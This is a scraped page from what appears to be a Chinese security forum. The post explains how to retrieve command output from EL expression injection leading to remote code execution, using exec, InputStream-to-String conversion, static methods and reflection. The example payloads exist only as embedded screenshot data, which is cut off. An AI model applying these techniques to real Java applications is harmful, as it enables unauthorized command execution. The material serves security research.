fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:transl
|
|||
|
|
<body>
|
|||
|
|
<div class="navbar navbar-default">
|
|||
|
|
<div class=navbar-inner>
|
|||
|
|
<div class=container style=text-align:center;position:relative>
|
|||
|
|
<!--[if lte IE 8]>
|
|||
|
|
<span style="display:inline-block;margin:0 auto;color:red;">为了更好的体验,请使用IE10及以上版本</span>
|
|||
|
|
<![endif]-->
|
|||
|
|
<div class=brand-box>
|
|||
|
|
<a class=brand href=https://xz.aliyun.com/tab/1></a>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F14518&from_type=xianzhi" class="pull-right anonymous-user hh_loding sf-hidden">
|
|||
|
|
登录</a>
|
|||
|
|
|
|||
|
|
<div class="nav-collapse collapse">
|
|||
|
|
<div class="search d1 text-right">
|
|||
|
|
<form action=/search>
|
|||
|
|
<input type=text placeholder=搜索 name=keyword value>
|
|||
|
|
</form>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<div id=Wrapper class=container>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<div class=row2>
|
|||
|
|
<div class=span10>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<div class="row box content" width="1200px !important" style=width:1200px>
|
|||
|
|
|
|||
|
|
<div class=box-container>
|
|||
|
|
<div class=main-topic>
|
|||
|
|
<div class="clearfix user-info topic-list">
|
|||
|
|
<p><span class=content-title>探究EL表达式注入的回显方式</span>
|
|||
|
|
</p>
|
|||
|
|
<div class=topic-info>
|
|||
|
|
<span class=info-left>
|
|||
|
|
<a href=https://xz.aliyun.com/u/86151>
|
|||
|
|
<span class="username cell"> 1135985407845756</span></a> <span class=i-seprator> / </span>
|
|||
|
|
<span> 2024-05-16 16:15:04</span><span class=i-seprator> / </span>
|
|||
|
|
|
|||
|
|
<span>发表于广东 / </span>
|
|||
|
|
|
|||
|
|
<span>浏览数 51</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class=content-node>
|
|||
|
|
|
|||
|
|
<span class="label label-default label-node-first">
|
|||
|
|
<a href=https://xz.aliyun.com/tab/4>社区板块</a></span>
|
|||
|
|
<span class="label label-default">
|
|||
|
|
<a href=https://xz.aliyun.com/node/16>WEB安全</a></span>
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
</span>
|
|||
|
|
<span class="pull-right t-vote cell info-right"><a class="vote vote-up" href=javascript:void(0)>
|
|||
|
|
顶(0)</a>
|
|||
|
|
<a class="vote vote-down" href=javascript:void(0)>
|
|||
|
|
踩(0)</a></span>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<hr>
|
|||
|
|
<div id=topic_content class="topic-content markdown-body">
|
|||
|
|
<p>RCE回显主要两个步骤:</p>
|
|||
|
|
<ol>
|
|||
|
|
<li>exec执行后获取InputStream</li>
|
|||
|
|
<li>InputStream转换成String</li>
|
|||
|
|
</ol>
|
|||
|
|
<h2 id=toc-0>EL表达式注入回显的关键点</h2>
|
|||
|
|
<h3 id=toc-1>1. 获取对象</h3>
|
|||
|
|
<p>EL表达式注入比SpEL表达式注入复杂一点,例如不能通过new创建对象</p>
|
|||
|
|
<p><a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20240516160334-cb0323c8-135a-1.png><img src=data:image/png;base64,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
|
|||
|
|
<p>也就是说,要创建一个对象,只能通过无需new对象就能调用的方法,例如<code>static</code>修饰的方法</p>
|
|||
|
|
<p><a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240516160346-d20e011a-135a-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABFEAAAJBCAYAAACOHyoGAAEAAElEQVR4nOzdeXwM9/8H8FccCREJkpAijhzETeKMUHFFD0dL0YO6q/TQonW0ddXxpVotflpnS1u3IqWOuiPOuOKOm2iIBBEhkez8/ohdO7uzuzN7ZHeT1/PxWDazc3xmZnd2P+/5fN4fl+bNmwswQhAEzeOll15CUFAQ6tati0qVKqFSpUooUqSIscWJiIiIiIiIiPIFoxEQdfCkRIkS6Nu3L1555RWULl0aAJCZmQlXV1e4uLjkSUGJiIiIiIiIiOzJYBBFEASoVCoEBgZi+PDhqF+/vihg4ubmlicFJCIiIiIiIiJyBJJBFHUApXr16hg9ejSqV6+e1+UiIiIiIiIiInIohXQnqLvwlCpVCiNHjkS1atXsUS4iIiIiIiIiIodiMIjy6aefomrVqsx5QkREREREREQEiSAKALz00kuoUaMG3N3d87o8REREREREREQOSRREUbdCKV++PFxdXe1VJiIiIiIiIiIihyMZRGnUqBFKlChhrzIRERERERERETkcye48DRo0YFceIiIiIiIiIiItkolly5QpgyJFJEc/JiIiIiIiIiIqkCRbohARERERERERkRiDKEREREREREREMjCIQkREREREREQkA4MoREREREREREQyMIhCRERERERERCQDgyhERERERERERDIwiEJEREREREREJAODKEREREREREREMjCIQkREREREREQkA4MoREREREREREQyMIhCRERERERERCQDgyhERERERERERDIwiEJEREREREREJAODKEREREREREREMkgGUQRByOtyEBERERERERE5NLZEISIiIiIiIiKSgUEUIiIiIiIiIiIZGEQhIiIiIiIiIpKBQRQiIiIiIiIiIhkYRCEiIiIiIiIikoFBFCIiIiIiIiIiGRhEISIiIiIiIiKSgUEUIiIiIiIiIiIZGEQhIiIiIiIiIpKBQRQiIiIiIiIiIhkYRCEiIiIiIiIikqGIvQtARERERGSOxMREHDp0CKdPn0ZKSgr8/f1Ro0YNNGzYEOXKlbN38YiIKB9ymCCKIAg4ePAgtmzZgoCAAHTq1AmlS5e2d7FIy8OHD9GnTx+sX79eM61Ro0ZYu3Yt/P397VcwIiKyi5s3b6Jr1644cuSIZlqXLl3w66+/wsvLy44l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
|
|||
|
|
<p>或者,<strong>直接用反射就能够获取对象</strong>了</p>
|
|||
|
|
<p><a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240516160354-d70f8eae-135a-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA78AAAIvCAYAAAC88WxtAAEAAElEQVR4nOzdd1zU9R8H8BdbQBEEnICCnAoEMlyAGqBCmpI7k7TcAyvLPUrNmTlKJRtq5cC9f6lgmqWhloCJigqKKQrKUEn2uN8feF/vuDu4gxPwfD0fDx91X77j893f92fq+Pr6iiFFLBZDLBajfv36WLFiBZydnaGjowMiIiIiIiKil5Vu2QmS4Pejjz6Cvb09A18iIiIiIiJ66ckFvwDQpEkTODk5wcTEpLrTQ0RERERERKRxMsGvpNS3adOmMDQ0rKk0EREREREREWmUwuC3ffv2MDU1rak0EREREREREWmUwmrPHh4erPJMREREREREWkNhh1cNGjSAvr5+TaSHiIiIiIiISOMUlvwSERERERERaRMGv0RERERERKT1GPwSERERERGR1mPwS0RERERERFqPwS8RERERERFpPQa/REREREREpPUY/BIREREREZHWY/BLREREREREWo/BLxEREREREWk9Br9ERERERESk9Rj8EhERERERkdZj8EtERERERERaj8EvERERERERaT0Gv0RERERERKT1FAa/YrG4utNBRERERERE9MKw5JeIiIiIiIi0HoNfIiIiIiIi0noMfomIiIiIiEjrMfglIiIiIiIircfgl4iIiIiIiLSefk0nIC/5LE4ePokj8VeRdDYeKQBg7QQfR2c49QjAgB7eaFynEisuykPSuZM48tsRxN9NQXxsEh5pat0A8tJjEXX4JI7EJiElMQrxaQBgAXsPJ9iLPNCrZwgCXqvsyh8j9vRenDwei6TUJETFpwAALGw94eToBI8evRDi74Q6lTx7ebfP4uTRkzgSn4SUyzFI+g8AmsDJ2x7OTr0Q0CcA3jZMu6bTTkRERERENcjX11cs+eft7S3u0KGD+M6dO+IXLTd+mzi0h73YHBCjvH9W9uKAD7aJr+aquOL/roq3zeov9mhcwXoBMaw8xEOXnxCnFKqcanFK5DrxKFXSDYgb+4eKt8WrmnCxOPfuCfG6MQFieysV0t44QBwaflWs8toLc8VXw+eI+7drXPG6YS72eGeF+ESKykln2omIiIiIqFbT8fX1FQb1LSkpQXFxMfbs2QNbW9sqhNTli10fglGfhSM2XfVlzN1DsfHoOvRvXP588V92g/P0k2qlx7zHIpw8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
|
|||
|
|
<p>这里又有些限制,不过问题不大:获取类必须是全类名。SpEL中在java.lang的类直接短类名<code>T(Integer)</code>就能索引成功</p>
|
|||
|
|
<p><a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240516160402-dbd0e492-135a-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA70AAAI3CAYAAABXgTymAAEAAElEQVR4nOz9fXhT15X3jX+dAjUpSY4TJZFSmCJiGouSDHKTKXJJrvpwOxnETVrLpQ1ynf4ShTwlsuk0NkyDFaZDBb1rZDolFplJbLgbRiITKpGSsWjhsZgJqU2HROJXGIsEaqWFRi7QSCmk8sSk6/lDsi1b5+jN8gtmfa5LF/ics8/eZ7+svdd+WauAiAgMwzAMwzAMwzAMMwW5bqITwDAMwzAMwzAMwzBjBSu9DMMwDMMwDMMwzJSFlV6GYRiGYRiGYRhmysJKL8MwDMMwDMMwDDNlYaWXYRiGYRiGYRiGmbKw0sswDMMwDMMwDMNMWVjpZRiGYRiGYRiGYaYsrPQyDMMwDMMwDMMwUxZWehmGYRiGYRiGYZgpy7R8vKTq0b/Px2uYKYDrpR9OdBIYhmEYhmEYhmEG4ZVehmEYhmEYhmEYZsrCSi/DMAzDMAzDMAwzZWGll2EYhmEYhmEYhpmy5OVM7xA6PLVRi9kAgChOvroLzl/nN4bs0wF8GPBi895TE5EQhmEYhmEYhmEYZgLJs9J7M+YVfwZqAMAlhG9IuLX0q9jyxduyfmNuCmtiOoDIB4VZxwsAuOchNH7lTnwqt9ApOffLHdjRAYxU0PPKe35saO0aizczDMMwDMMwDMNcFeRZ6U3BrZ/GXcV3ZB0sZ4U1H9xwG+YVfwbCGLx6xjsD/xuuoOeVT/x2LN7KMAzDMAzDMAxz1cBnehmGYRiGYRiGYZgpy/it9A4jivNnziMsc7fojs/gtuul7xmf+R7+9jPp3j992JZk4Z6VeOmfv5I2VT2HvofvueTvnz/ZhbdCEjduuhP/629uw/T4n/2hU/h/T8p9Xfxdb8vc+PgKPvyf/rRplWY6PnX9BBUpwzAMwzAMwzDMJCQvGpLtpR9KbM+9AYv/nx/C9f8AwHvY70m8F8bRTTvwE5n3ffMff4iHZfb7Ti+ciU/JKMSyTJ+GT01P/6mzpqe+/+HvXkXry8nXF6+xYNngX5fw1v5daP1llmkc4HedePQf2pOvDzsTLWckbDlsLz0wNlulGYZhGIZhGIZhrkImaFmwEOqar+AJmbuzb5C5MSl4CN/7Zx3mJVyZ8cmZCX/NxOdrvoeXauTCv4eff+sFOLONdtiZ6BFGwhiGYRiGYRiGYRhJJkjpvRl3V+hwdw4hT3R1YfqZFA9c/xk88MU7ki0uX/otOo6+h49SBJXdcjyMaZh1/cwUFp2nYfr10yC/aDwzxT15Sm+aQINeDMMwDMMwDMMwVyl5UXpftO3CpwDM0D6EdUsHViOjOLH3Zez/bez/5xd8BQ/nIS7fz1+FT/buZ/BN633SCukNn8a8/nY0vJxni8b9UXyY5gjujOkzMT0LTVf9wENY+pmZw67NmnPjsL8/VfwVPJG43Iwogm9kHgfDMAzDMAzDMMy1QF6U3rd/HfOjW/Vw4p7eK/jw/VPwDZw7XZAY4n2cOPQ2zsm8b7ZWh7sV2afjrm9+FQ//ldwnTYO64iv4pu/H+Mk7Mo/kQPDQ99Agcc43kfu/bcHffT7z/ciztfdhWcrnb8DdS0eulF/C0R5/xnEwDMMwDMMwDMNcC+Rve/PND+Hz6sTXTcOMwhsAXJJ4uA/B3a/KG7Iqzl7pFR6owfqlt6V+aPodeLiuBuf+YTc63s/u/XLc9vmnsOWzqZ/51K0zUz/AMAzDMAzDMAzDjAl5U3rVKxbirmFbeGei9JvfxY8/++/Y+nzXiFXdIize+BT